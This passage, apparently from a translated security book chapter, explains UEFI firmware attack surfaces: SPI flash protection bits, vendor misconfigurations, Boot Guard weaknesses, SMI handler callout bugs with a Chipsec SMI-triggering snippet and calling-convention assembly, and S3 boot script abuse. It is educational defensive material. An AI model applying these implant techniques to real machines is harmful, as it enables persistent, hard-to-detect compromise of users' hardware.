安全启动绕过 攻击者专注于绕过安全启动过程,而不是利用信任根(即完全妥协)或引导阶段中的其他漏洞。安全启动绕过可以发生在不同的引导阶段,并且可以被攻击者用来针对所有后续层和它们的信任机制。

SMM 特权升级 SMM 在 x86 硬件上具有很强的功能,因为几乎所有的 SMM 特权升级问题最终都会成为代码执行问题。提升到 SMM 的特权往往是 BIOS 植入物安装的最后阶段之一。

UEFI 固件植入物 UEFI 固件植入物是持久 BIOS 植入物安装的最终阶段。攻击者可以将植入物安装在 UEFI 固件的各个级别上,可以是修改后的合法模块,也可以是后续将讨论的 DXE 或 PEI 等独立驱动程序。

持久植入物 持久植入物是可以在完全重启和关机周期中存活的植入物。在某些情况下,为了在后续更新过程中存活,它可以修改 BIOS 更新映像。

非持久植入物 非持久植入物是不能在完全重启和关机周期中存活的植入物。这些植入物可能会提供特权升级,并在具有受保护硬件虚拟化(如 Intel VT-x)和受信任执行层(如 MS VBS)的操作系统中提供代码执行。它们还可以用作向操作系统内核模式传递恶意载荷的隐蔽通道。

受损供应链漏洞

受损供应链攻击 利用 BIOS 开发团队或 OEM 硬件供应商的错误,或涉及目标软件的故意配置错误,从而提供给攻击者对平台安全特性的可否认绕过。

在供应链攻击中,攻击者在硬件生产和制造过程中获取硬件访问权限,并在硬件到达消费者之前向固件注入恶意修改或安装恶意外围设备。供应链攻击也可以远程发生,例如当攻击者获取固件开发者内部网络(有时是供应商网站)的访问权限,并直接将恶意修改传递到源代码存储库或构建服务器中。

具有物理访问权限的供应链攻击涉及悄悄干扰目标平台,它们有时与邪恶女仆攻击相似,攻击者在有限的时间内拥有物理访问权限,并利用供应链漏洞进行攻击。这些攻击利用了硬件所有者无法监控物理访问的情况——例如,当所有者将笔记本电脑放入托运行李中,交给外方海关检查,或者仅仅忘记在酒店房间里。攻击者可以利用这些机会重新配置硬件和固件,植入 BIOS 或直接将恶意固件写入 SPI 闪存芯片。

以下大多数问题适用于供应链和邪恶女仆攻击场景。

配置错误的保护措施 通过在开发过程或生产后阶段攻击硬件或固件,攻击者可以错误配置技术保护措施,以便在后续轻松绕过它们。

不安全的信任根 该漏洞涉及通过操作系统与固件(例如 SMM)的通信接口来破坏信任根。

恶意外设 这种攻击涉及在生产或交付阶段植入恶意外设。恶意设备可以以多种方式被使用,例如进行直接内存访问(DMA)攻击。

植入的 BIOS 更新 攻击者可能会破坏供应商网站或其他远程更新机制,利用它来传送感染了的 BIOS 更新。攻击的突破点可能包括供应商的构建服务器、开发者系统或被窃取的数字证书与供应商的私钥。

未经认证的 BIOS 更新过程 供应商可能会破坏 BIOS 更新的认证过程,无论是有意还是无意,从而允许攻击者对更新镜像进行任何他们想要的修改。

具有已知安全问题的过时 BIOS BIOS 开发人员可能会继续使用较旧的、存在漏洞的 BIOS 固件版本,即使基础代码库已经修补,这使得固件容易受到攻击。硬件供应商最初交付的过时 BIOS 版本可能会在用户的个人电脑或数据中心服务器上长期存在而没有更新。这是 BIOS 固件中最常见的安全问题之一。

供应链漏洞缓解

在不对开发和生产生命周期进行根本性改变的情况下,很难减轻与供应链相关的风险。典型的生产客户端或服务器平台包括许多第三方组件,包括软件和硬件。大多数没有完全拥有生产周期的公司对安全性不太关注,也确实负担不起。

这种情况由于缺乏与 BIOS 安全配置和芯片组配置相关的信息和资源而进一步加剧。NIST 800-147(“BIOS 保护指南”)和 NIST 800-147B(“服务器 BIOS 保护指南”)出版物作为一个有用的起点,但自 2011 年首次发布以及 2014 年针对服务器更新以来,它们很快就变得过时了。

让我们深入了解一些 UEFI 固件攻击,以填补这些普遍知识的空白。

UEFI 固件保护的历史

在本节中,我们将介绍一些允许攻击者绕过安全启动的漏洞类别;我们将在下一章讨论具体的安全启动实施细节。

以前,任何允许攻击者在 SMM 环境中执行代码的安全问题都可以绕过安全启动。尽管一些现代硬件平台,即使经过了最近的硬件更新,仍然容易受到基于 SMM 的安全启动攻击,但大多数企业供应商已经转向使用最新的英特尔安全功能,这使得这些攻击变得更加困难。今天的英特尔技术,如英特尔启动保护(Intel Boot Guard)和 BIOS 保护(BIOS Guard,稍后将在本章中讨论),将启动过程的信任根从 SMM 转移到一个更安全的环境:英特尔 ME 固件/硬件。

信任根

信任根是一个经过验证的加密密钥,作为安全启动的锚点。安全启动通过建立一个硬件验证的启动过程,确保平台只能使用已经通过信任根验证的受信任代码启动。现代平台设计将其信任根锁定在基于硬件的受保护存储中,例如一次性可编程熔丝或带有持久存储的独立芯片。

UEFI 安全启动的第一个版本在 2012 年推出。它的主要组成部分包括在 DXE 启动阶段(UEFI 固件启动的最新阶段之一,操作系统接管控制之前)实现的信任根。这意味着这个早期的安全启动实现只真正确保了操作系统引导程序的完整性,而不是 BIOS 本身。

很快,这一设计的弱点变得显而易见,在下一个实施中,信任根被移至 PEI,这是平台初始化的早期阶段,在 DXE 之前就将其锁定。然而,这个安全边界也证明是脆弱的。自 2013 年起,随着英特尔启动保护技术的发布,信任根通过 TPM 芯片(或在 ME 固件中实现的等效功能,以降低支持成本)锁定在硬件中。现场可编程熔丝(FPF)位于主板芯片组(PCH 组件,通过 ME 固件可编程)。

在我们深入探讨促使这些重新设计的相关漏洞历史之前,让我们先讨论一下基本的 BIOS 保护技术如何工作。

BIOS 保护如何工作

图 16-3 显示了用于保护持久 SPI 闪存存储的技术的高级视图。SMM 最初允许对 SPI 闪存存储进行读写访问,以便实现常规的 BIOS 更新。这意味着 BIOS 的完整性依赖于 任何 在 SMM 中运行的代码的质量,因为任何此类代码都可以修改 SPI 存储中的 BIOS。因此,安全边界的强度仅与运行在 SMM 中的最弱代码的强度相同,而这些代码又有权限访问 SMM 之外的内存区域。因此,平台开发者采取措施将 BIOS 更新与 SMM 的其他功能分开,引入了一系列附加的安全控制措施,例如英特尔 BIOS Guard。

image

图 16-3:BIOS 安全技术的高级表示

SPI 闪存保护及其漏洞

我们在“(内存保护位的(无)效力”第 263 页中讨论了图 16-3 中显示的一些控制:BIOS 控制位保护(BIOS_CNTL)、闪存配置锁定(FLOCKDN)和 SPI 闪存写保护(PRx)。然而,BIOS_CNTL 保护仅对尝试从操作系统修改 BIOS 的攻击者有效,并且它可以通过任何来自 SMM 的代码执行漏洞绕过(SMI 处理程序可以从外部访问),因为 SMM 代码可以自由修改这些保护位。基本上,BIOS_CNTL 仅创建了一种安全的假象。

最初,SMM 对 SPI 闪存存储既有读访问权限也有写访问权限,因此可以实现常规的 BIOS 更新。这使得 BIOS 的完整性依赖于 任何 在 SMM 中运行的代码的质量,因为任何此类代码都能够修改 SPI 存储中的 BIOS。这个安全边界证明是相当脆弱的——脆弱程度与 SMM 中运行的最弱代码相当。

因此,平台开发者采取措施将 BIOS 更新与 SMM 的其他功能分离。这些控制本身往往较弱。例如,BIOS 控制位保护(BIOS_CNTL)仅对尝试从操作系统修改 BIOS 的攻击者有效;任何来自 SMM 的代码执行漏洞都可以绕过该保护,因为 SMM 代码可以自由修改这些保护位。

PRx 控制更有效,因为其政策无法从 SMM 中更改。然而,正如我们稍后将讨论的那样,许多厂商并未使用 PRx 保护——包括 Apple 和令人惊讶的 Intel,尽管它是这种保护技术的发明者。

表 16-1 总结了截至 2018 年 1 月,流行厂商基于安全锁位的 x86 硬件的活动保护技术状态。在此,RP 表示 读取保护,WP 表示 写入保护

表 16-1: 常见硬件厂商的安全级别

厂商名称 BLE SMM_BWP PRx 认证更新
华硕 激活 激活 未激活 未激活
微星 未激活 未激活 未激活 未激活
技嘉 激活 激活 未激活 未激活
戴尔 激活 激活 RP/WP 激活
联想 激活 激活 RP 激活
惠普 激活 激活 RP/WP 激活
英特尔 激活 激活 未激活 激活
苹果 未激活 未激活 WP 激活

如你所见,厂商在 BIOS 安全性上的做法差异巨大。一些厂商甚至不对 BIOS 更新进行认证,这就带来了严重的安全隐患,因为安装植入程序变得更加容易(除非厂商强制执行 Intel Boot Guard 策略)。

此外,PRx 保护必须正确配置才能生效。列表 16-1 显示了一个配置不当的闪存区域示例,所有 PRx 段定义都设置为零,使其无法使用。

[*] BIOS Region: Base = 0x00800000, Limit = 0x00FFFFFF

SPI Protected Ranges

------------------------------------------------------------

PRx (offset) | Value    | Base     | Limit    | WP? | RP?

------------------------------------------------------------

PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0

PR1 (78)     | 00000000 | 00000000 | 00000000 | 0   | 0

PR2 (7C)     | 00000000 | 00000000 | 00000000 | 0   | 0

PR3 (80)     | 00000000 | 00000000 | 00000000 | 0   | 0

PR4 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

列表 16-1:配置不当的 PRx 访问策略(由 Chipsec 工具导出)

我们也看到一些厂商配置了仅限读取保护的策略,这仍然允许攻击者修改 SPI 闪存。此外,PRx 并不能保证对 SPI 实际内容的任何完整性度量,因为它仅在启动过程的非常早期 PEI 阶段实现了对直接读写访问的按位锁定。

一些厂商如苹果和英特尔倾向于禁用 PRx 保护的原因是,这些保护需要立即重启,使得 BIOS 更新变得不太方便。没有 PRx 保护时,厂商的 BIOS 更新工具可以使用操作系统 API 将新的 BIOS 镜像写入物理内存中的空闲区域,然后调用 SMI 中断,使得驻留在 SMM 中的某些辅助代码可以从该区域获取镜像并将其写入 SPI 闪存。更新后的 SPI 闪存镜像将在下次重启时接管控制,但该重启可以在用户方便时进行。

当 PRx 被启用并正确配置以保护 SPI 的适当区域免受 SMM 代码修改时,BIOS 更新工具将无法再使用 SMM 来修改 BIOS。相反,它必须将更新镜像存储在动态随机存取内存(DRAM)中,并触发立即重启。安装更新的辅助代码必须是一个特殊的早期启动阶段驱动程序的一部分,该驱动程序在 PRx 保护激活之前运行,并将更新镜像从 DRAM 转移到 SPI。这种更新方法有时需要在工具运行时进行重启(或直接调用 SMI 处理程序而不重启),这对用户来说不太方便。

无论 BIOS 更新程序采取哪种方式,都必须确保助手代码在安装之前认证更新镜像。否则,无论是否启用 PRx,是否重启,助手代码都会毫不犹豫地安装一个经过修改的带有植入物的 BIOS 镜像,只要攻击者在助手代码运行之前能够修改该镜像。如表 16-1 所示,一些硬件供应商不认证固件更新,这使得攻击者的任务变得简单,只需篡改更新镜像即可。

第一次公开已知的 BIOS 更新过程攻击

请记住,即使你正确配置了 PRx 并认证了 BIOS 更新的加密签名,你仍然可能会受到攻击。2009 年,Rafal Wojtczuk 和 Alex Tereshkin 在 Black Hat Vegas 大会上提出了第一次公开已知的攻击,目标是一个经过认证和签名的 BIOS 更新过程,该过程装备了活跃的 SPI 闪存保护位。作者展示了 BIOS 更新镜像文件解析器中的内存损坏漏洞,该漏洞导致了任意代码执行,并绕过了更新文件签名的认证。

未经认证的 BIOS 更新所带来的风险

2018 年 9 月,反病毒公司 ESET 发布了一份关于 LOJAX 的研究报告,LOJAX 是一种针对 UEFI 固件的 rootkit 攻击。1 在攻击发生时,LOJAX rootkit 所使用的所有技术都是众所周知的,曾在过去五年里出现在其他发现的恶意软件中。LOJAX 采用了与黑客团队的 UEFI rootkit 相似的战术:它滥用了存储在 NTFS 中的未经认证的 Computrace 组件,如我们在第十五章中讨论的。因此,LOJAX rootkit 并没有使用任何新漏洞;它唯一的新颖之处在于其感染目标的方式——它检查系统是否存在未经认证的 SPI 闪存访问,如果找到了,就交付一个经过修改的 BIOS 更新文件。

对 BIOS 安全的松懈态度为攻击提供了大量机会。攻击者可以在运行时扫描系统,寻找合适的易受攻击目标和感染向量,而这些都是丰富的。LOJAX rootkit 感染者检查了多个保护措施,包括 BIOS 锁位(BLE)和 SMM BIOS 写保护位(SMM_BWP)。如果固件没有经过认证,或者在将 BIOS 更新镜像传输到 SPI 存储之前没有检查其完整性,攻击者就可以直接从操作系统交付修改过的更新。LOJAX 使用了 Speed Racer 漏洞(VU#766164,最初由 Corey Kallenberg 在 2014 年发现)来通过竞争条件绕过 SPI 闪存保护位。你可以使用chipsec_main -m common.bios_wp命令来检测该漏洞及与 BIOS 锁保护位相关的其他弱点。

这个例子表明,安全边界的强度仅取决于其最弱的组成部分。无论平台可能具有其他什么保护,Computrace 对代码认证的松散处理都会削弱它们,重新启用了操作系统侧的攻击向量,而其他保护措施正是试图消除这个向量。只需要一处海堤被突破,整个平原就会被淹没。

具有安全启动的 BIOS 保护

安全启动如何改变这一威胁格局?简短的回答是,这取决于它的实现方式。2016 年之前实现的旧版本(没有 Intel Boot Guard 和 BIOS Guard 技术)将面临危险,因为在这些旧实现中,信任根位于 SPI 闪存中,并且可能会被覆盖。

当 2012 年首次推出 UEFI 安全启动时,其主要组成部分包括在DXE 启动阶段实现的信任根,这是 UEFI 固件启动中的最新阶段之一,发生在操作系统获得控制之前。由于信任根在启动过程中的出现较晚,这一早期的安全启动实现实际上只保证了操作系统引导程序的完整性,而不是 BIOS 本身的完整性。这种设计的弱点很快显现出来,在下一版本中,信任根被移到了PEI,即早期平台初始化阶段,以便在 DXE 之前锁定信任根。这个安全边界也证明了其脆弱性。

Boot Guard 和 BIOS Guard 是安全启动中较新的功能,解决了这一弱点:Boot Guard 将信任根从 SPI 移到硬件中,而 BIOS Guard 则将更新 SPI 闪存内容的任务从 SMM 转移到一个独立的芯片(Intel 嵌入式控制器,简称 EC),并移除了允许 SMM 写入 SPI 闪存的权限。

另一个考虑将信任根提早到启动过程中的硬件部分,是最小化可信平台的启动时间。你可以想象一种启动保护方案,它将验证成百上千个可用 EFI 映像的数字签名,而不是一个包含所有驱动程序的单一映像。然而,这对于今天的世界来说速度太慢,因为平台供应商希望在启动时间上节省毫秒级的时间。

在这一点上,你可能会问:既然安全启动过程涉及这么多组件,我们如何避免在其中一个微小的错误摧毁所有安全保障?(我们将在第十七章中详细介绍安全启动的完整过程。)迄今为止,最好的答案是拥有能够确保每个组件执行其指定角色的工具,并确保每个启动阶段按照确切的顺序进行。也就是说,我们需要一个过程的正式模型,自动化代码分析工具可以验证它——这意味着模型越简单,我们就越有信心它能被正确检查。

安全启动依赖于信任链:预定的执行路径从锁定在硬件或 SPI 闪存存储中的信任根开始,并通过安全启动过程的各个阶段,只有在每个阶段的所有条件和策略都满足的情况下,才能按特定顺序进行。

严格来说,我们将这个模型称为有限状态机,其中不同的状态代表系统启动过程中的不同阶段。如果任何一个阶段具有非确定性行为——例如,如果一个阶段可以将启动过程切换到不同的模式或有多个退出点——我们的安全启动过程就变成了一个非确定性有限状态机。这使得自动验证安全启动过程变得更加困难,因为它指数级地增加了我们必须验证的执行路径数量。在我们看来,安全启动中的非确定性行为应该被视为一种设计失误,可能会导致代价高昂的漏洞,正如本章稍后讨论的 S3 启动脚本漏洞一样。

英特尔 Boot Guard

在本节中,我们将讨论英特尔 Boot Guard 技术的工作原理,然后探讨它的一些漏洞。尽管英特尔没有公开的 Boot Guard 官方文档,但我们和其他人的研究使我们能够描绘出这项卓越技术的清晰图景。

英特尔 Boot Guard 技术

Boot Guard 将安全启动分为两个阶段:在第一阶段,Boot Guard 认证 SPI 存储器中 BIOS 部分的所有内容;在第二阶段,安全启动处理其余的启动过程,包括操作系统引导加载程序的认证(图 16-4)。

image

图 16-4:启用英特尔 Boot Guard 技术的启动过程

英特尔 Boot Guard 技术跨越了 CPU 架构的多个层次及相关抽象层。一个好处是它不需要信任 SPI 存储,因此能够避免我们在本章前面讨论的漏洞。Boot Guard 通过使用英特尔签名的认证代码模块(ACM),将 SPI 闪存中存储的 BIOS 的完整性检查与 BIOS 本身分开,从而在允许执行之前验证 BIOS 映像的完整性。启用 Boot Guard 的设备上,信任根移入英特尔微架构中,其中 CPU 的微代码解析 ACM 内容,并检查 ACM 中实现的数字签名验证程序,进而检查 BIOS 签名。

相比之下,原始的 UEFI 安全启动信任根位于 UEFI DXE 阶段,这几乎是控制权交给操作系统引导加载程序之前的最后一个阶段——正如我们之前提到的,这个时间点非常靠后。如果在 DXE 阶段固件被妥协,攻击者可以完全绕过或禁用安全启动。如果没有硬件辅助的验证,就无法保证 DXE 阶段之前发生的启动过程阶段的完整性(PEI 实现也存在已知的弱点),包括 DXE 驱动程序本身的完整性。

Boot Guard 通过将安全启动的信任根从 UEFI 固件转移到硬件本身,解决了这个问题。例如,Verified Boot——这是英特尔在 2013 年引入的 Boot Guard 的一个新变种,我们将在下一章详细讨论——将 OEM 公钥的哈希值锁定在现场可编程熔丝(FPF)存储区内。FPF 只能编程一次,硬件供应商在制造过程结束时锁定该配置(在某些情况下可以撤销,但由于这些属于边缘案例,这里不做讨论)。

Boot Guard 中的漏洞

Boot Guard 的有效性取决于其所有组件的协同工作,每一层都不应包含任何漏洞,避免攻击者执行代码或提升权限,以干扰多层安全启动方案的其他组件。Alex Matrosov 在 2017 年 Black Hat USA 上发布的“背叛 BIOS:BIOS 的守护者在哪里失败” (www.youtube.com/watch?v=Dfl2JI2eLc8) 演讲中揭示了攻击者如何通过干扰较低层设置的位标志,来传递关于其完整性状态的信息给上层,从而成功攻击该方案。

正如已证明的那样,固件无法被信任,因为大多数 SMM 攻击能够妥协它。即使是依赖 TPM 作为信任根的度量启动方案,也可能被破坏,因为度量代码本身运行在 SMM 中,并且在许多情况下可以从 SMM 进行修改,尽管存储在 TPM 硬件中的密钥无法被 SMM 更改。尽管对 TPM 芯片的某些攻击是可能的,但持有 SMM 权限的攻击者并不需要这些攻击,他们只需攻击固件与 TPM 的接口。2013 年,英特尔引入了 Verified Boot(我们刚刚提到的)来解决度量启动的弱点。

启动保护 ACM 验证逻辑会测量 初始启动块 (IBB) 并在将控制权传递到 IBB 入口点之前检查其完整性。如果 IBB 验证失败,启动过程通常会中断,具体取决于策略。UEFI 固件(BIOS)的 IBB 部分在普通 CPU 上执行(非隔离或认证)。接下来,IBB 会继续启动过程,按照启动保护策略在已验证或已测量模式下进行,进入平台初始化阶段。PEI 驱动程序验证 DXE 驱动程序的完整性,并将信任链过渡到 DXE 阶段。然后,DXE 阶段继续将信任链传递到操作系统启动加载程序。表 16-2 展示了关于各个硬件厂商在这些阶段中安全状态的研究数据。

表 16-2: 不同硬件厂商如何配置安全性(截至 2018 年 1 月)

厂商名称 ME 访问 EC 访问 CPU 调试 (DCI) 启动保护 强制启动保护 ACM 启动保护 FPF BIOS 保护
华硕 VivoMini 禁用 禁用 启用 禁用 禁用 禁用 禁用
微星 Cubi2 禁用 禁用 启用 禁用 禁用 禁用 禁用
技嘉 Brix 启用读写 启用读写 启用 已测量验证 启用(FPF 未设置) 未设置 禁用
戴尔 禁用 禁用 启用 已测量验证 启用 启用 启用
联想 ThinkCenter 禁用 禁用 启用 禁用 禁用 禁用 禁用
惠普 Elitedesk 禁用 禁用 启用 禁用 禁用 禁用 禁用
英特尔 NUC 禁用 禁用 启用 禁用 禁用 禁用 禁用
苹果 启用读取 禁用 禁用 不支持 不支持 不支持 不支持

正如你所看到的,这些安全选项的灾难性配置错误并非仅仅是理论上的。例如,一些厂商没有在 FPF 中写入其哈希值,或者写入了但随后没有禁用允许此类写入的制造模式。因此,攻击者可以写入自己的 FPF 密钥,然后锁定系统,将其永远绑定到他们自己的根和信任链上(尽管如果硬件厂商已经开发了撤销过程,存在熔丝覆盖用于撤销)。更准确地说,FPF 可以由 ME 在其内存区域中写入,当 ME 仍处于制造模式时;此时,ME 可以从操作系统进行访问,包括读取和写入。通过这种方式,攻击者实际上获得了“王国的钥匙”。

此外,大多数研究过的基于 Intel 的硬件都启用了 CPU 调试,因此对具有物理访问权限的攻击者来说,所有的“门”都是打开的。部分平台支持 Intel BIOS Guard 技术,但为了简化 BIOS 更新,该功能在制造过程中被禁用了。

因此,表 16-2 提供了多个供应链安全问题的优秀示例,其中厂商为了简化硬件支持,创建了关键的安全漏洞。

SMM 模块中的漏洞

现在让我们来看一下从操作系统利用 UEFI 固件的另一个攻击途径:利用 SMM 模块中的错误。

理解 SMM

我们在前几章中讨论了 SMM 和 SMI 处理程序,但现在我们将重新回顾这两个概念,以便温故知新。

SMM 是 x86 处理器的一种高特权执行模式。它旨在独立于操作系统实现平台特定的管理功能。这些功能包括高级电源管理、安全固件更新和 UEFI 安全启动变量的配置。

SMM 的关键设计特性是,它提供了一个与操作系统不可见的独立执行环境。SMM 中使用的代码和数据存储在一个硬件保护的内存区域,称为SMRAM,该区域只能由在 SMM 中运行的代码访问。为了进入 SMM,CPU 会生成一个系统管理中断(SMI),这是一个旨在由操作系统软件触发的特殊中断。

SMI 处理程序是平台固件的特权服务和功能。SMI 充当操作系统与这些 SMI 处理程序之间的桥梁。一旦所有必要的代码和数据被加载到 SMRAM 中,固件会锁定该内存区域,使其只能由在 SMM 中运行的代码访问,从而防止操作系统访问它。

利用 SMI 处理程序

由于 SMM 具有高度特权级别,SMI 处理程序是植入程序和根套件的一个非常有趣的目标。这些处理程序中的任何漏洞都可能为攻击者提供一个机会,将特权提升到 SMM 的级别,也就是所谓的 Ring -2。

与其他多层模型一样,例如内核与用户空间分离,攻击特权代码的最佳方法是针对任何可以从外部消耗的数据,这些数据可能来自隔离的特权内存区域之外。对于 SMM 来说,这些数据是任何位于 SMRAM 之外的内存。对于 SMM 的安全模型,攻击者通常是操作系统或特权软件(如 BIOS 更新工具);因此,操作系统中任何位于 SMRAM 之外的位置都可能是可疑的,因为它有时会被攻击者操控(甚至可能在经过某种检查之后)。潜在的攻击目标包括 SMM 代码消费的函数指针,这些指针可能会将执行指向 SMRAM 之外的区域,或者是任何包含数据的缓冲区,这些数据被 SMM 代码读取或解析。

如今,UEFI 固件开发人员尝试通过最小化与外部世界(Ring 0——操作系统的内核模式)直接通信的 SMI 处理程序数量,来减少这一攻击面,并通过寻找新的方式来结构化和检查这些交互。但这项工作才刚刚开始,SMI 处理程序的安全问题可能会持续相当长一段时间。

当然,SMM 中的代码可以从操作系统接收一些数据以便发挥作用。然而,为了保持安全性,正如其他多层模型一样,SMM 代码必须始终在数据被复制并在 SMRAM 内检查之后,才可以对外部数据进行处理。任何已被检查但仍保留在 SMRAM 外的数据都不能被信任,因为攻击者可能会在检查点和使用点之间通过竞态条件改变数据。此外,任何已被复制进来的数据都不应引用任何未经检查且未复制的外部数据。

听起来很简单,但像 C 这样的语言并不会原生帮助追踪指针指向的区域,因此“内部”SMRAM 内存位置与“外部”受攻击者控制的操作系统内存之间的安全性差异,在代码中并不总是显而易见。因此,程序员通常只能依靠自己。(如果你在想,这个问题能通过静态分析工具解决多少,继续阅读——事实证明,我们接下来讨论的 SMI 调用约定使得这个问题变得相当具有挑战性。)

要理解攻击者如何利用 SMI 处理程序,你需要理解它们的调用约定。正如清单 16-2 所示,从 Chipsec 框架的 Python 端调用 SMI 处理程序看起来像普通的函数调用,但实际的二进制调用约定,如清单 16-3 所示,是不同的。

import chipsec.chipset

import chipsec.hal.interrupts

#SW SMI handler number

SMI_NUM = 0x25

#CHIPSEC initialization

cs = chipsec.chipset.cs()

cs.init(None, True)

#create instances of required classes

ints = chipsec.hal.interrupts.Interrupts(cs)

#call SW SMI handler 0x25

cs.ints.send_SW_SMI(0, SMI_NUM, 0, 0, 0, 0, 0, 0, 0)

清单 16-2:如何通过 Chipsec 框架从 Python 调用 SMI 处理程序

清单 16-2 中的代码调用 SMI 处理程序时,除了 0x25(被调用的处理程序编号)外,所有参数都被置为零。这样的调用可能确实不传递任何参数,但也有可能 SMI 处理程序在获得控制后间接获取这些参数——例如,通过 ACPI 或 UEFI 变量。当操作系统触发 SMI 时(例如,通过 I/O 端口 0xB2 作为软件中断),它通过通用寄存器将参数传递给 SMI 处理程序。在清单 16-3 中,你可以看到 SMI 处理程序的实际调用方式以及参数是如何传递的。Chipsec 框架当然在幕后实现了这一调用约定。

mov rax, rdx     ; rax_value

mov ax, cx       ; smi_code_data

mov rdx, r10     ; rdx_value

mov dx, 0B2h     ; SMI control port (0xB2)

mov rbx, r8      ; rbx_value

mov rcx, r9      ; rcx_value

mov rsi, r11     ; rsi_value

mov rdi, r12     ; rdi_value

; write smi data value to SW SMI control/data ports (0xB2/0xB3)

out dx, ax

清单 16-3:汇编语言中的 SMI 处理程序调用

SMI 调用问题与任意代码执行

对 BIOS 植入物感兴趣的最常见 SMI 处理程序漏洞主要分为两大类:SMI 调用问题和任意代码执行(在许多情况下,任意代码执行是由 SMI 调用问题引发的)。在 SMI 调用问题中,SMM 代码无意中使用了一个由攻击者控制的函数指针,该指针指向 SMM 外部的植入载荷。在任意代码执行中,SMM 代码从 SMRAM 外部读取一些数据,这些数据能够影响控制流,并且可以被用来获得更多控制权限。这些地址通常位于物理内存的第一个兆字节以下,因为 SMI 处理程序预期使用这一内存范围,而操作系统并未使用该内存范围。在 SMI 调用问题中,当攻击者能够覆盖一个间接跳转的地址或一个从 SMM 调用的函数指针时,攻击者控制的任意代码将会在 SMM 外部执行,但仍然拥有 SMM 的特权(这种攻击的一个典型例子是 VU#631788)。

在主要企业厂商的新版本 BIOS 中,这类漏洞更难发现,但即使引入了标准函数SmmIsBufferOutsideSmmValid()来检查指向内存缓冲区的指针是否在 SMRAM 范围内,访问超出 SMRAM 范围的指针的问题仍然存在。这个通用检查的实现已经在 GitHub 上的 Intel EDK2 代码库中引入(* github.com/tianocore/edk2/blob/master/MdePkg/Library/SmmMemLib/SmmMemLib.c *),它的声明见于清单 16-4。

BOOLEAN

EFIAPI

SmmIsBufferOutsideSmmValid (

  IN EFI_PHYSICAL_ADDRESS  Buffer,

  IN UINT64                Length

  )

清单 16-4:来自 Intel EDK2 的函数SmmIsBufferOutsideSmmValid()的原型

SmmIsBufferOutsideSmmValid()函数可以准确检测指向 SMRAM 范围外的内存缓冲区的指针,唯一的例外是:Buffer参数可能是一个结构体,而该结构体的一个字段可能是指向 SMRAM 外部的另一个缓冲区的指针。如果安全检查仅对结构体本身的地址进行检查,SMM 代码仍然可能存在漏洞,即使已经通过SmmIsBufferOutsideSmmValid()进行了检查。因此,SMI 处理程序必须在从操作系统接收到每个地址或指针(包括偏移量!)之前验证它们,而在读取或写入这些内存位置时尤为重要。值得注意的是,这也包括返回状态和错误代码。在 SMM 内部发生的任何算术计算都应该验证任何来自 SMM 外部或低权限模式的参数。

SMI 处理程序利用案例研究

既然我们已经讨论了 SMI 处理程序从操作系统获取数据的危险,现在是时候深入探讨一个 SMI 处理程序被利用的实际案例了。我们将查看 Windows 10 等操作系统中使用的 UEFI 固件更新过程的常见工作流程。在这种情况下,固件在 SMM 内部进行验证和认证,使用的是较弱的 DXE 运行时驱动程序。

图 16-5 展示了该场景下 BIOS 更新过程的高级示意图。

image

图 16-5:操作系统中 BIOS 更新过程的高级表示

如你所见,用户态 BIOS 更新工具(Update App)与其内核模式驱动程序(Update Driver)进行通信,后者通常通过 Ring 0 API 函数 MmMapIoSpace() 直接访问物理内存设备。这种访问使得潜在攻击者可以修改或映射恶意数据到与 SMI 处理程序 BIOS(SmiFlash 或 SecSmiFlash)更新解析器通信的内存区域。通常,解析流程复杂到足以留下漏洞,特别是当解析器通常用 C 语言编写时。攻击者构造一个恶意数据缓冲区,并通过其编号调用一个易受攻击的 SMI 处理程序,如清单 16-3 所示,使用 MS Visual C++ 编译器中的 __outbyte() 内建函数。

在图 16-5 中展示的 DXE 驱动程序 SmiFlash 和 SecSmiFlash,广泛存在于许多 SMM 代码库中。SmiFlash 会在没有任何身份验证的情况下刷新 BIOS 镜像。使用基于此驱动程序的更新工具,攻击者可以轻松地刷新一个经过恶意修改的 BIOS 更新镜像,而无需任何额外操作(这种类型漏洞的一个典型例子是 Alex Matrosov 发现的 VU#507496)。相反,SecSmiFlash 通过检查数字签名来验证更新,从而阻止了这种攻击。

S3 启动脚本中的漏洞

在本节中,我们将概述 S3 启动脚本中的漏洞,这是 BIOS 用于从睡眠模式唤醒的脚本。尽管 S3 启动脚本加速了唤醒过程,但其不当实现可能会带来严重的安全影响,我们将在此进行探讨。

理解 S3 启动脚本

现代硬件的电源转换状态——如工作模式和睡眠模式——非常复杂,涉及多个 DRAM 操作阶段。在睡眠模式(S3)期间,DRAM 保持供电,尽管 CPU 并未工作。当系统从睡眠状态唤醒时,BIOS 恢复平台配置,包括 DRAM 的内容,然后将控制权转交给操作系统。你可以在 docs.microsoft.com/en-us/windows/desktop/power/system-power-states/ 中找到这些状态的简要总结。

S3 启动脚本存储在 DRAM 中,并在 S3 状态下得以保存,当从 S3 恢复完全功能时执行。尽管被称为“脚本”,但它实际上是一系列由启动脚本执行器固件模块解释的操作码(* github.com/tianocore/edk2/blob/master/MdeModulePkg/Library/PiDxeS3BootScriptLib/BootScriptExecute.c *)。启动脚本执行器在 PEI 阶段结束时重放这些操作码定义的每个操作,以恢复平台硬件的配置和操作系统的整个预启动状态。执行 S3 启动脚本后,BIOS 会定位并执行操作系统唤醒向量,将其软件执行恢复到它停止时的状态。这意味着 S3 启动脚本使平台可以跳过 DXE 阶段,从而缩短从 S3 睡眠状态唤醒的时间。然而,这种优化也带来了一些风险,正如我们接下来将讨论的那样。^(2)

针对 S3 启动脚本的弱点

S3 启动脚本只是存储在内存中的另一种程序代码。攻击者如果能够访问并修改它,便可以在启动脚本中添加秘密操作(保持在 S3 编程模型内,以避免引起警觉),或者如果这不够,还可以通过超越操作码的预定功能,利用启动脚本的解释器。

S3 启动脚本可以访问输入/输出(I/O)端口进行读写、PCI 配置读写、直接访问物理内存并具有读写权限,以及其他对平台安全至关重要的数据。特别是,S3 启动脚本可以攻击虚拟机监控程序,泄露本应隔离的内存区域。所有这些意味着,恶意的 S3 脚本会产生类似于本章早些时候讨论的 SMM 内部代码执行漏洞的影响。

由于 S3 脚本在唤醒过程的早期执行,在各种安全措施激活之前,攻击者可以利用这些脚本绕过一些通常会在启动过程中生效的安全硬件配置。实际上,按设计,大多数 S3 启动脚本的操作码会导致系统固件恢复各种硬件配置寄存器的内容。在大多数情况下,这个过程与在操作系统运行时向这些寄存器写入内容并无不同,只不过 S3 脚本允许写访问,而操作系统则不允许。

